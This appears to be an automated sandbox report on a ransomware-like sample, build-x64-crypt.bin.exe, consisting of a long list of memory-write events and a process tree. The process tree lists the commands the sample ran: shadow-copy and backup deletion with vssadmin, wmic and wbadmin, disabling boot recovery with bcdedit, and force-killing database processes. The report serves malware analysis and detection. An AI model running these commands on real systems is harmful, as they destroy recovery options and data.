Token: SeDebugPrivilege 980 powershell.exe -
Suspicious use of WriteProcessMemory 396 IoCs
description pid Process procid_target PID 3024 wrote to memory of 3020 3024 build-x64-crypt.bin.exe 68 PID 3024 wrote to memory of 3020 3024 build-x64-crypt.bin.exe 68 PID 3020 wrote to memory of 3820 3020 cmd.exe 70 PID 3020 wrote to memory of 3820 3020 cmd.exe 70 PID 3024 wrote to memory of 4012 3024 build-x64-crypt.bin.exe 74 PID 3024 wrote to memory of 4012 3024 build-x64-crypt.bin.exe 74 PID 4012 wrote to memory of 2536 4012 cmd.exe 76 PID 4012 wrote to memory of 2536 4012 cmd.exe 76 PID 3024 wrote to memory of 3264 3024 build-x64-crypt.bin.exe 77 PID 3024 wrote to memory of 3264 3024 build-x64-crypt.bin.exe 77 PID 3264 wrote to memory of 2684 3264 cmd.exe 79 PID 3264 wrote to memory of 2684 3264 cmd.exe 79 PID 3024 wrote to memory of 2168 3024 build-x64-crypt.bin.exe 80 PID 3024 wrote to memory of 2168 3024 build-x64-crypt.bin.exe 80 PID 2168 wrote to memory of 3636 2168 cmd.exe 82 PID 2168 wrote to memory of 3636 2168 cmd.exe 82 PID 3024 wrote to memory of 1932 3024 build-x64-crypt.bin.exe 83 PID 3024 wrote to memory of 1932 3024 build-x64-crypt.bin.exe 83 PID 1932 wrote to memory of 3924 1932 cmd.exe 85 PID 1932 wrote to memory of 3924 1932 cmd.exe 85 PID 3024 wrote to memory of 3724 3024 build-x64-crypt.bin.exe 86 PID 3024 wrote to memory of 3724 3024 build-x64-crypt.bin.exe 86 PID 3724 wrote to memory of 488 3724 cmd.exe 88 PID 3724 wrote to memory of 488 3724 cmd.exe 88 PID 3024 wrote to memory of 272 3024 build-x64-crypt.bin.exe 89 PID 3024 wrote to memory of 272 3024 build-x64-crypt.bin.exe 89 PID 272 wrote to memory of 3660 272 cmd.exe 91 PID 272 wrote to memory of 3660 272 cmd.exe 91 PID 3024 wrote to memory of 3020 3024 build-x64-crypt.bin.exe 92 PID 3024 wrote to memory of 3020 3024 build-x64-crypt.bin.exe 92 PID 3020 wrote to memory of 676 3020 cmd.exe 94 PID 3020 wrote to memory of 676 3020 cmd.exe 94 PID 3024 wrote to memory of 3544 3024 build-x64-crypt.bin.exe 95 PID 3024 wrote to memory of 3544 3024 build-x64-crypt.bin.exe 95 PID 3544 wrote to memory of 3112 3544 cmd.exe 97 PID 3544 wrote to memory of 3112 3544 cmd.exe 97 PID 3024 wrote to memory of 3616 3024 build-x64-crypt.bin.exe 98 PID 3024 wrote to memory of 3616 3024 build-x64-crypt.bin.exe 98 PID 3616 wrote to memory of 1684 3616 cmd.exe 100 PID 3616 wrote to memory of 1684 3616 cmd.exe 100 PID 3024 wrote to memory of 504 3024 build-x64-crypt.bin.exe 101 PID 3024 wrote to memory of 504 3024 build-x64-crypt.bin.exe 101 PID 504 wrote to memory of 3892 504 cmd.exe 103 PID 504 wrote to memory of 3892 504 cmd.exe 103 PID 3024 wrote to memory of 3696 3024 build-x64-crypt.bin.exe 104 PID 3024 wrote to memory of 3696 3024 build-x64-crypt.bin.exe 104 PID 3696 wrote to memory of 1972 3696 cmd.exe 106 PID 3696 wrote to memory of 1972 3696 cmd.exe 106 PID 3024 wrote to memory of 3848 3024 build-x64-crypt.bin.exe 107 PID 3024 wrote to memory of 3848 3024 build-x64-crypt.bin.exe 107 PID 3848 wrote to memory of 3660 3848 cmd.exe 109 PID 3848 wrote to memory of 3660 3848 cmd.exe 109 PID 3024 wrote to memory of 3812 3024 build-x64-crypt.bin.exe 110 PID 3024 wrote to memory of 3812 3024 build-x64-crypt.bin.exe 110 PID 3812 wrote to memory of 676 3812 cmd.exe 112 PID 3812 wrote to memory of 676 3812 cmd.exe 112 PID 3024 wrote to memory of 3368 3024 build-x64-crypt.bin.exe 113 PID 3024 wrote to memory of 3368 3024 build-x64-crypt.bin.exe 113 PID 3368 wrote to memory of 3112 3368 cmd.exe 115 PID 3368 wrote to memory of 3112 3368 cmd.exe 115 PID 3024 wrote to memory of 408 3024 build-x64-crypt.bin.exe 116 PID 3024 wrote to memory of 408 3024 build-x64-crypt.bin.exe 116 PID 408 wrote to memory of 1964 408 cmd.exe 118 PID 408 wrote to memory of 1964 408 cmd.exe 118 PID 3024 wrote to memory of 948 3024 build-x64-crypt.bin.exe 119 PID 3024 wrote to memory of 948 3024 build-x64-crypt.bin.exe 119 PID 948 wrote to memory of 1932 948 cmd.exe 121 PID 948 wrote to memory of 1932 948 cmd.exe 121 PID 3024 wrote to memory of 3880 3024 build-x64-crypt.bin.exe 122 PID 3024 wrote to memory of 3880 3024 build-x64-crypt.bin.exe 122 PID 3880 wrote to memory of 280 3880 cmd.exe 124 PID 3880 wrote to memory of 280 3880 cmd.exe 124 PID 3024 wrote to memory of 3428 3024 build-x64-crypt.bin.exe 125 PID 3024 wrote to memory of 3428 3024 build-x64-crypt.bin.exe 125 PID 3428 wrote to memory of 980 3428 cmd.exe 127 PID 3428 wrote to memory of 980 3428 cmd.exe 127 PID 3024 wrote to memory of 3836 3024 build-x64-crypt.bin.exe 128 PID 3024 wrote to memory of 3836 3024 build-x64-crypt.bin.exe 128 PID 3836 wrote to memory of 3140 3836 cmd.exe 130 PID 3836 wrote to memory of 3140 3836 cmd.exe 130 PID 3024 wrote to memory of 3572 3024 build-x64-crypt.bin.exe 131 PID 3024 wrote to memory of 3572 3024 build-x64-crypt.bin.exe 131 PID 3572 wrote to memory of 3420 3572 cmd.exe 133 PID 3572 wrote to memory of 3420 3572 cmd.exe 133 PID 3024 wrote to memory of 1052 3024 build-x64-crypt.bin.exe 134 PID 3024 wrote to memory of 1052 3024 build-x64-crypt.bin.exe 134 PID 1052 wrote to memory of 3584 1052 cmd.exe 136 PID 1052 wrote to memory of 3584 1052 cmd.exe 136 PID 3024 wrote to memory of 3064 3024 build-x64-crypt.bin.exe 137 PID 3024 wrote to memory of 3064 3024 build-x64-crypt.bin.exe 137 PID 3064 wrote to memory of 1684 3064 cmd.exe 139 PID 3064 wrote to memory of 1684 3064 cmd.exe 139 PID 3024 wrote to memory of 792 3024 build-x64-crypt.bin.exe 140 PID 3024 wrote to memory of 792 3024 build-x64-crypt.bin.exe 140 PID 792 wrote to memory of 3720 792 cmd.exe 142 PID 792 wrote to memory of 3720 792 cmd.exe 142 PID 3024 wrote to memory of 948 3024 build-x64-crypt.bin.exe 143 PID 3024 wrote to memory of 948 3024 build-x64-crypt.bin.exe 143 PID 948 wrote to memory of 1264 948 cmd.exe 145 PID 948 wrote to memory of 1264 948 cmd.exe 145 PID 3024 wrote to memory of 4024 3024 build-x64-crypt.bin.exe 146 PID 3024 wrote to memory of 4024 3024 build-x64-crypt.bin.exe 146 PID 4024 wrote to memory of 840 4024 cmd.exe 148 PID 4024 wrote to memory of 840 4024 cmd.exe 148 PID 3024 wrote to memory of 1416 3024 build-x64-crypt.bin.exe 149 PID 3024 wrote to memory of 1416 3024 build-x64-crypt.bin.exe 149 PID 1416 wrote to memory of 3800 1416 cmd.exe 151 PID 1416 wrote to memory of 3800 1416 cmd.exe 151 PID 3024 wrote to memory of 3912 3024 build-x64-crypt.bin.exe 152 PID 3024 wrote to memory of 3912 3024 build-x64-crypt.bin.exe 152 PID 3912 wrote to memory of 3140 3912 cmd.exe 154 PID 3912 wrote to memory of 3140 3912 cmd.exe 154 PID 3024 wrote to memory of 4008 3024 build-x64-crypt.bin.exe 155 PID 3024 wrote to memory of 4008 3024 build-x64-crypt.bin.exe 155 PID 4008 wrote to memory of 3108 4008 cmd.exe 157 PID 4008 wrote to memory of 3108 4008 cmd.exe 157 PID 3024 wrote to memory of 2860 3024 build-x64-crypt.bin.exe 158 PID 3024 wrote to memory of 2860 3024 build-x64-crypt.bin.exe 158 PID 2860 wrote to memory of 1652 2860 cmd.exe 160 PID 2860 wrote to memory of 1652 2860 cmd.exe 160 PID 3024 wrote to memory of 1096 3024 build-x64-crypt.bin.exe 161 PID 3024 wrote to memory of 1096 3024 build-x64-crypt.bin.exe 161 PID 1096 wrote to memory of 2856 1096 cmd.exe 163 PID 1096 wrote to memory of 2856 1096 cmd.exe 163 PID 3024 wrote to memory of 1964 3024 build-x64-crypt.bin.exe 164 PID 3024 wrote to memory of 1964 3024 build-x64-crypt.bin.exe 164 PID 1964 wrote to memory of 3064 1964 cmd.exe 166 PID 1964 wrote to memory of 3064 1964 cmd.exe 166 PID 3024 wrote to memory of 1892 3024 build-x64-crypt.bin.exe 167 PID 3024 wrote to memory of 1892 3024 build-x64-crypt.bin.exe 167 PID 1892 wrote to memory of 3720 1892 cmd.exe 169 PID 1892 wrote to memory of 3720 1892 cmd.exe 169 PID 3024 wrote to memory of 2516 3024 build-x64-crypt.bin.exe 170 PID 3024 wrote to memory of 2516 3024 build-x64-crypt.bin.exe 170 PID 2516 wrote to memory of 1264 2516 cmd.exe 172 PID 2516 wrote to memory of 1264 2516 cmd.exe 172 PID 3024 wrote to memory of 3808 3024 build-x64-crypt.bin.exe 173 PID 3024 wrote to memory of 3808 3024 build-x64-crypt.bin.exe 173 PID 3808 wrote to memory of 840 3808 cmd.exe 175 PID 3808 wrote to memory of 840 3808 cmd.exe 175 PID 3024 wrote to memory of 3840 3024 build-x64-crypt.bin.exe 176 PID 3024 wrote to memory of 3840 3024 build-x64-crypt.bin.exe 176 PID 3840 wrote to memory of 260 3840 cmd.exe 178 PID 3840 wrote to memory of 260 3840 cmd.exe 178 PID 3024 wrote to memory of 3868 3024 build-x64-crypt.bin.exe 179 PID 3024 wrote to memory of 3868 3024 build-x64-crypt.bin.exe 179 PID 3868 wrote to memory of 2412 3868 cmd.exe 181 PID 3868 wrote to memory of 2412 3868 cmd.exe 181 PID 3024 wrote to memory of 332 3024 build-x64-crypt.bin.exe 182 PID 3024 wrote to memory of 332 3024 build-x64-crypt.bin.exe 182 PID 332 wrote to memory of 3812 332 cmd.exe 184 PID 332 wrote to memory of 3812 332 cmd.exe 184 PID 3024 wrote to memory of 1588 3024 build-x64-crypt.bin.exe 185 PID 3024 wrote to memory of 1588 3024 build-x64-crypt.bin.exe 185 PID 1588 wrote to memory of 2184 1588 cmd.exe 187 PID 1588 wrote to memory of 2184 1588 cmd.exe 187 PID 3024 wrote to memory of 3368 3024 build-x64-crypt.bin.exe 188 PID 3024 wrote to memory of 3368 3024 build-x64-crypt.bin.exe 188 PID 3368 wrote to memory of 1036 3368 cmd.exe 190 PID 3368 wrote to memory of 1036 3368 cmd.exe 190 PID 3024 wrote to memory of 2032 3024 build-x64-crypt.bin.exe 191 PID 3024 wrote to memory of 2032 3024 build-x64-crypt.bin.exe 191 PID 2032 wrote to memory of 2164 2032 cmd.exe 193 PID 2032 wrote to memory of 2164 2032 cmd.exe 193 PID 3024 wrote to memory of 3636 3024 build-x64-crypt.bin.exe 194 PID 3024 wrote to memory of 3636 3024 build-x64-crypt.bin.exe 194 PID 3636 wrote to memory of 3832 3636 cmd.exe 196 PID 3636 wrote to memory of 3832 3636 cmd.exe 196 PID 3024 wrote to memory of 1784 3024 build-x64-crypt.bin.exe 197 PID 3024 wrote to memory of 1784 3024 build-x64-crypt.bin.exe 197 PID 1784 wrote to memory of 1188 1784 cmd.exe 199 PID 1784 wrote to memory of 1188 1784 cmd.exe 199 PID 3024 wrote to memory of 1904 3024 build-x64-crypt.bin.exe 200 PID 3024 wrote to memory of 1904 3024 build-x64-crypt.bin.exe 200 PID 1904 wrote to memory of 1260 1904 cmd.exe 202 PID 1904 wrote to memory of 1260 1904 cmd.exe 202 PID 3024 wrote to memory of 1264 3024 build-x64-crypt.bin.exe 203 PID 3024 wrote to memory of 1264 3024 build-x64-crypt.bin.exe 203 PID 1264 wrote to memory of 1384 1264 cmd.exe 205 PID 1264 wrote to memory of 1384 1264 cmd.exe 205 PID 3024 wrote to memory of 892 3024 build-x64-crypt.bin.exe 206 PID 3024 wrote to memory of 892 3024 build-x64-crypt.bin.exe 206 PID 892 wrote to memory of 1380 892 cmd.exe 208 PID 892 wrote to memory of 1380 892 cmd.exe 208 PID 3024 wrote to memory of 1412 3024 build-x64-crypt.bin.exe 209 PID 3024 wrote to memory of 1412 3024 build-x64-crypt.bin.exe 209 PID 1412 wrote to memory of 3844 1412 cmd.exe 211 PID 1412 wrote to memory of 3844 1412 cmd.exe 211 PID 3024 wrote to memory of 2744 3024 build-x64-crypt.bin.exe 212 PID 3024 wrote to memory of 2744 3024 build-x64-crypt.bin.exe 212 PID 2744 wrote to memory of 3824 2744 cmd.exe 214 PID 2744 wrote to memory of 3824 2744 cmd.exe 214 PID 3024 wrote to memory of 3412 3024 build-x64-crypt.bin.exe 215 PID 3024 wrote to memory of 3412 3024 build-x64-crypt.bin.exe 215 PID 3412 wrote to memory of 2536 3412 cmd.exe 217 PID 3412 wrote to memory of 2536 3412 cmd.exe 217 PID 3024 wrote to memory of 1532 3024 build-x64-crypt.bin.exe 218 PID 3024 wrote to memory of 1532 3024 build-x64-crypt.bin.exe 218 PID 1532 wrote to memory of 3584 1532 cmd.exe 220 PID 1532 wrote to memory of 3584 1532 cmd.exe 220 PID 3024 wrote to memory of 1540 3024 build-x64-crypt.bin.exe 221 PID 3024 wrote to memory of 1540 3024 build-x64-crypt.bin.exe 221 PID 1540 wrote to memory of 3012 1540 cmd.exe 223 PID 1540 wrote to memory of 3012 1540 cmd.exe 223 PID 3024 wrote to memory of 408 3024 build-x64-crypt.bin.exe 224 PID 3024 wrote to memory of 408 3024 build-x64-crypt.bin.exe 224 PID 408 wrote to memory of 2164 408 cmd.exe 226 PID 408 wrote to memory of 2164 408 cmd.exe 226 PID 3024 wrote to memory of 2988 3024 build-x64-crypt.bin.exe 227 PID 3024 wrote to memory of 2988 3024 build-x64-crypt.bin.exe 227 PID 2988 wrote to memory of 3832 2988 cmd.exe 229 PID 2988 wrote to memory of 3832 2988 cmd.exe 229 PID 3024 wrote to memory of 3708 3024 build-x64-crypt.bin.exe 230 PID 3024 wrote to memory of 3708 3024 build-x64-crypt.bin.exe 230 PID 3708 wrote to memory of 568 3708 cmd.exe 232 PID 3708 wrote to memory of 568 3708 cmd.exe 232 PID 3024 wrote to memory of 948 3024 build-x64-crypt.bin.exe 233 PID 3024 wrote to memory of 948 3024 build-x64-crypt.bin.exe 233 PID 948 wrote to memory of 488 948 cmd.exe 235 PID 948 wrote to memory of 488 948 cmd.exe 235 PID 3024 wrote to memory of 3724 3024 build-x64-crypt.bin.exe 236 PID 3024 wrote to memory of 3724 3024 build-x64-crypt.bin.exe 236 PID 3724 wrote to memory of 1316 3724 cmd.exe 238 PID 3724 wrote to memory of 1316 3724 cmd.exe 238 PID 3024 wrote to memory of 272 3024 build-x64-crypt.bin.exe 239 PID 3024 wrote to memory of 272 3024 build-x64-crypt.bin.exe 239 PID 272 wrote to memory of 3808 272 cmd.exe 241 PID 272 wrote to memory of 3808 272 cmd.exe 241 PID 3024 wrote to memory of 2740 3024 build-x64-crypt.bin.exe 242 PID 3024 wrote to memory of 2740 3024 build-x64-crypt.bin.exe 242 PID 2740 wrote to memory of 640 2740 cmd.exe 244 PID 2740 wrote to memory of 640 2740 cmd.exe 244 PID 3024 wrote to memory of 3816 3024 build-x64-crypt.bin.exe 245 PID 3024 wrote to memory of 3816 3024 build-x64-crypt.bin.exe 245 PID 3816 wrote to memory of 3436 3816 cmd.exe 247 PID 3816 wrote to memory of 3436 3816 cmd.exe 247 PID 3024 wrote to memory of 1820 3024 build-x64-crypt.bin.exe 248 PID 3024 wrote to memory of 1820 3024 build-x64-crypt.bin.exe 248 PID 1820 wrote to memory of 1524 1820 cmd.exe 250 PID 1820 wrote to memory of 1524 1820 cmd.exe 250 PID 3024 wrote to memory of 1588 3024 build-x64-crypt.bin.exe 251 PID 3024 wrote to memory of 1588 3024 build-x64-crypt.bin.exe 251 PID 1588 wrote to memory of 2876 1588 cmd.exe 253 PID 1588 wrote to memory of 2876 1588 cmd.exe 253 PID 3024 wrote to memory of 1768 3024 build-x64-crypt.bin.exe 254 PID 3024 wrote to memory of 1768 3024 build-x64-crypt.bin.exe 254 PID 1768 wrote to memory of 2236 1768 cmd.exe 256 PID 1768 wrote to memory of 2236 1768 cmd.exe 256 PID 3024 wrote to memory of 2176 3024 build-x64-crypt.bin.exe 257 PID 3024 wrote to memory of 2176 3024 build-x64-crypt.bin.exe 257 PID 2176 wrote to memory of 1128 2176 cmd.exe 259 PID 2176 wrote to memory of 1128 2176 cmd.exe 259 PID 3024 wrote to memory of 2308 3024 build-x64-crypt.bin.exe 260 PID 3024 wrote to memory of 2308 3024 build-x64-crypt.bin.exe 260 PID 2308 wrote to memory of 2984 2308 cmd.exe 262 PID 2308 wrote to memory of 2984 2308 cmd.exe 262 PID 3024 wrote to memory of 1628 3024 build-x64-crypt.bin.exe 263 PID 3024 wrote to memory of 1628 3024 build-x64-crypt.bin.exe 263 PID 1628 wrote to memory of 3720 1628 cmd.exe 265 PID 1628 wrote to memory of 3720 1628 cmd.exe 265 PID 3024 wrote to memory of 4024 3024 build-x64-crypt.bin.exe 266 PID 3024 wrote to memory of 4024 3024 build-x64-crypt.bin.exe 266 PID 4024 wrote to memory of 3712 4024 cmd.exe 268 PID 4024 wrote to memory of 3712 4024 cmd.exe 268 PID 3024 wrote to memory of 1012 3024 build-x64-crypt.bin.exe 269 PID 3024 wrote to memory of 1012 3024 build-x64-crypt.bin.exe 269 PID 1012 wrote to memory of 2528 1012 cmd.exe 271 PID 1012 wrote to memory of 2528 1012 cmd.exe 271 PID 3024 wrote to memory of 1912 3024 build-x64-crypt.bin.exe 272 PID 3024 wrote to memory of 1912 3024 build-x64-crypt.bin.exe 272 PID 1912 wrote to memory of 3800 1912 cmd.exe 274 PID 1912 wrote to memory of 3800 1912 cmd.exe 274 PID 3024 wrote to memory of 3660 3024 build-x64-crypt.bin.exe 275 PID 3024 wrote to memory of 3660 3024 build-x64-crypt.bin.exe 275 PID 3660 wrote to memory of 3844 3660 cmd.exe 277 PID 3660 wrote to memory of 3844 3660 cmd.exe 277 PID 3024 wrote to memory of 2108 3024 build-x64-crypt.bin.exe 278 PID 3024 wrote to memory of 2108 3024 build-x64-crypt.bin.exe 278 PID 2108 wrote to memory of 3848 2108 cmd.exe 280 PID 2108 wrote to memory of 3848 2108 cmd.exe 280 PID 3024 wrote to memory of 2152 3024 build-x64-crypt.bin.exe 281 PID 3024 wrote to memory of 2152 3024 build-x64-crypt.bin.exe 281 PID 2152 wrote to memory of 1712 2152 cmd.exe 283 PID 2152 wrote to memory of 1712 2152 cmd.exe 283 PID 3024 wrote to memory of 388 3024 build-x64-crypt.bin.exe 284 PID 3024 wrote to memory of 388 3024 build-x64-crypt.bin.exe 284 PID 388 wrote to memory of 3112 388 cmd.exe 286 PID 388 wrote to memory of 3112 388 cmd.exe 286 PID 3024 wrote to memory of 2244 3024 build-x64-crypt.bin.exe 287 PID 3024 wrote to memory of 2244 3024 build-x64-crypt.bin.exe 287 PID 2244 wrote to memory of 1100 2244 cmd.exe 289 PID 2244 wrote to memory of 1100 2244 cmd.exe 289 PID 3024 wrote to memory of 884 3024 build-x64-crypt.bin.exe 290 PID 3024 wrote to memory of 884 3024 build-x64-crypt.bin.exe 290 PID 884 wrote to memory of 1560 884 cmd.exe 292 PID 884 wrote to memory of 1560 884 cmd.exe 292 PID 3024 wrote to memory of 2168 3024 build-x64-crypt.bin.exe 293 PID 3024 wrote to memory of 2168 3024 build-x64-crypt.bin.exe 293 PID 2168 wrote to memory of 1900 2168 cmd.exe 295 PID 2168 wrote to memory of 1900 2168 cmd.exe 295 PID 3024 wrote to memory of 792 3024 build-x64-crypt.bin.exe 296 PID 3024 wrote to memory of 792 3024 build-x64-crypt.bin.exe 296 PID 792 wrote to memory of 3720 792 cmd.exe 298 PID 792 wrote to memory of 3720 792 cmd.exe 298 PID 3024 wrote to memory of 2516 3024 build-x64-crypt.bin.exe 299 PID 3024 wrote to memory of 2516 3024 build-x64-crypt.bin.exe 299 PID 2516 wrote to memory of 3712 2516 cmd.exe 301 PID 2516 wrote to memory of 3712 2516 cmd.exe 301 PID 3024 wrote to memory of 280 3024 build-x64-crypt.bin.exe 302 PID 3024 wrote to memory of 280 3024 build-x64-crypt.bin.exe 302 PID 280 wrote to memory of 2528 280 cmd.exe 304 PID 280 wrote to memory of 2528 280 cmd.exe 304 PID 3024 wrote to memory of 1976 3024 build-x64-crypt.bin.exe 305 PID 3024 wrote to memory of 1976 3024 build-x64-crypt.bin.exe 305 PID 1976 wrote to memory of 3800 1976 cmd.exe 307 PID 1976 wrote to memory of 3800 1976 cmd.exe 307 PID 3024 wrote to memory of 3428 3024 build-x64-crypt.bin.exe 308 PID 3024 wrote to memory of 3428 3024 build-x64-crypt.bin.exe 308 PID 3428 wrote to memory of 3844 3428 cmd.exe 310 PID 3428 wrote to memory of 3844 3428 cmd.exe 310 PID 3024 wrote to memory of 2756 3024 build-x64-crypt.bin.exe 311 PID 3024 wrote to memory of 2756 3024 build-x64-crypt.bin.exe 311 PID 2756 wrote to memory of 3848 2756 cmd.exe 313 PID 2756 wrote to memory of 3848 2756 cmd.exe 313 PID 3024 wrote to memory of 4012 3024 build-x64-crypt.bin.exe 314 PID 3024 wrote to memory of 4012 3024 build-x64-crypt.bin.exe 314 PID 4012 wrote to memory of 3444 4012 cmd.exe 316 PID 4012 wrote to memory of 3444 4012 cmd.exe 316 PID 3024 wrote to memory of 576 3024 build-x64-crypt.bin.exe 317 PID 3024 wrote to memory of 576 3024 build-x64-crypt.bin.exe 317 PID 576 wrote to memory of 2184 576 cmd.exe 319 PID 576 wrote to memory of 2184 576 cmd.exe 319 PID 3024 wrote to memory of 1612 3024 build-x64-crypt.bin.exe 320 PID 3024 wrote to memory of 1612 3024 build-x64-crypt.bin.exe 320 PID 1612 wrote to memory of 3368 1612 cmd.exe 322 PID 1612 wrote to memory of 3368 1612 cmd.exe 322 PID 3024 wrote to memory of 2996 3024 build-x64-crypt.bin.exe 323 PID 3024 wrote to memory of 2996 3024 build-x64-crypt.bin.exe 323 PID 2996 wrote to memory of 1732 2996 cmd.exe 325 PID 2996 wrote to memory of 1732 2996 cmd.exe 325 PID 3024 wrote to memory of 3064 3024 build-x64-crypt.bin.exe 326 PID 3024 wrote to memory of 3064 3024 build-x64-crypt.bin.exe 326 PID 3064 wrote to memory of 3600 3064 cmd.exe 328 PID 3064 wrote to memory of 3600 3064 cmd.exe 328 PID 3024 wrote to memory of 3016 3024 build-x64-crypt.bin.exe 329 PID 3024 wrote to memory of 3016 3024 build-x64-crypt.bin.exe 329 PID 3016 wrote to memory of 568 3016 cmd.exe 331 PID 3016 wrote to memory of 568 3016 cmd.exe 331 PID 3024 wrote to memory of 3924 3024 build-x64-crypt.bin.exe 332 PID 3024 wrote to memory of 3924 3024 build-x64-crypt.bin.exe 332 PID 3924 wrote to memory of 488 3924 cmd.exe 334 PID 3924 wrote to memory of 488 3924 cmd.exe 334 PID 3024 wrote to memory of 2468 3024 build-x64-crypt.bin.exe 335 PID 3024 wrote to memory of 2468 3024 build-x64-crypt.bin.exe 335 PID 2468 wrote to memory of 1316 2468 cmd.exe 337 PID 2468 wrote to memory of 1316 2468 cmd.exe 337 PID 3024 wrote to memory of 3880 3024 build-x64-crypt.bin.exe 338 PID 3024 wrote to memory of 3880 3024 build-x64-crypt.bin.exe 338 PID 3880 wrote to memory of 3808 3880 cmd.exe 340 PID 3880 wrote to memory of 3808 3880 cmd.exe 340 PID 3024 wrote to memory of 1992 3024 build-x64-crypt.bin.exe 341 PID 3024 wrote to memory of 1992 3024 build-x64-crypt.bin.exe 341 PID 1992 wrote to memory of 640 1992 cmd.exe 343 PID 1992 wrote to memory of 640 1992 cmd.exe 343 PID 3024 wrote to memory of 1520 3024 build-x64-crypt.bin.exe 344 PID 3024 wrote to memory of 1520 3024 build-x64-crypt.bin.exe 344 PID 1520 wrote to memory of 3436 1520 cmd.exe 346 PID 1520 wrote to memory of 3436 1520 cmd.exe 346 PID 3024 wrote to memory of 3836 3024 build-x64-crypt.bin.exe 347 PID 3024 wrote to memory of 3836 3024 build-x64-crypt.bin.exe 347 PID 3836 wrote to memory of 2152 3836 cmd.exe 349 PID 3836 wrote to memory of 2152 3836 cmd.exe 349 PID 3024 wrote to memory of 2224 3024 build-x64-crypt.bin.exe 350 PID 3024 wrote to memory of 2224 3024 build-x64-crypt.bin.exe 350 PID 2224 wrote to memory of 3232 2224 cmd.exe 352 PID 2224 wrote to memory of 3232 2224 cmd.exe 352 PID 3024 wrote to memory of 3572 3024 build-x64-crypt.bin.exe 353 PID 3024 wrote to memory of 3572 3024 build-x64-crypt.bin.exe 353 PID 3572 wrote to memory of 2856 3572 cmd.exe 355 PID 3572 wrote to memory of 2856 3572 cmd.exe 355 PID 3024 wrote to memory of 2304 3024 build-x64-crypt.bin.exe 356 PID 3024 wrote to memory of 2304 3024 build-x64-crypt.bin.exe 356 PID 2304 wrote to memory of 2160 2304 cmd.exe 358 PID 2304 wrote to memory of 2160 2304 cmd.exe 358 PID 3024 wrote to memory of 3612 3024 build-x64-crypt.bin.exe 359 PID 3024 wrote to memory of 3612 3024 build-x64-crypt.bin.exe 359 PID 3612 wrote to memory of 3076 3612 cmd.exe 361 PID 3612 wrote to memory of 3076 3612 cmd.exe 361 PID 3024 wrote to memory of 3852 3024 build-x64-crypt.bin.exe 362 PID 3024 wrote to memory of 3852 3024 build-x64-crypt.bin.exe 362 PID 3852 wrote to memory of 3464 3852 cmd.exe 364 PID 3852 wrote to memory of 3464 3852 cmd.exe 364 PID 3024 wrote to memory of 948 3024 build-x64-crypt.bin.exe 365 PID 3024 wrote to memory of 948 3024 build-x64-crypt.bin.exe 365 PID 3024 wrote to memory of 980 3024 build-x64-crypt.bin.exe 367 PID 3024 wrote to memory of 980 3024 build-x64-crypt.bin.exe 367
Processes
-
C:\Users\Admin\AppData\Local\Temp\build-x64-crypt.bin.exe"C:\Users\Admin\AppData\Local\Temp\build-x64-crypt.bin.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Windows\SYSTEM32\cmd.execmd /C wmic.exe SHADOWCOPY DELETE /nointeractive2⤵
- Suspicious use of WriteProcessMemory
PID:3020 -
C:\Windows\System32\Wbem\WMIC.exewmic.exe SHADOWCOPY DELETE /nointeractive3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3820
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C wbadmin DELETE SYSTEMSTATEBACKUP2⤵
- Suspicious use of WriteProcessMemory
PID:4012 -
C:\Windows\system32\wbadmin.exewbadmin DELETE SYSTEMSTATEBACKUP3⤵
- Deletes System State backups
- Drops file in Windows directory
PID:2536
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest2⤵
- Suspicious use of WriteProcessMemory
PID:3264 -
C:\Windows\system32\wbadmin.exewbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest3⤵
- Deletes System State backups
- Drops file in Windows directory
PID:2684
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C bcdedit.exe /set {default} recoveryenabled No2⤵
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3636
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures2⤵
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:3924
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C vssadmin.exe Delete Shadows /All /Quiet2⤵
- Suspicious use of WriteProcessMemory
PID:3724 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:488
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C C:\Windows\system32\vssvc.exe2⤵
- Suspicious use of WriteProcessMemory
PID:272 -
C:\Windows\system32\VSSVC.exeC:\Windows\system32\vssvc.exe3⤵PID:3660
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM wxServer*2⤵
- Suspicious use of WriteProcessMemory
PID:3020 -
C:\Windows\system32\taskkill.exetaskkill /F /T /IM wxServer*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:676
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM QBFCService*2⤵
- Suspicious use of WriteProcessMemory
PID:3544 -
C:\Windows\system32\taskkill.exetaskkill /F /T /IM QBFCService*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3112
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM QBVSS*2⤵
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Windows\system32\taskkill.exetaskkill /F /T /IM QBVSS*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1684
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM sql*2⤵
- Suspicious use of WriteProcessMemory
PID:504 -
C:\Windows\system32\taskkill.exetaskkill /F /T /IM sql*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3892
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM msaccess*2⤵
- Suspicious use of WriteProcessMemory
PID:3696 -
C:\Windows\system32\taskkill.exetaskkill /F /T /IM msaccess*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1972
-
-
-
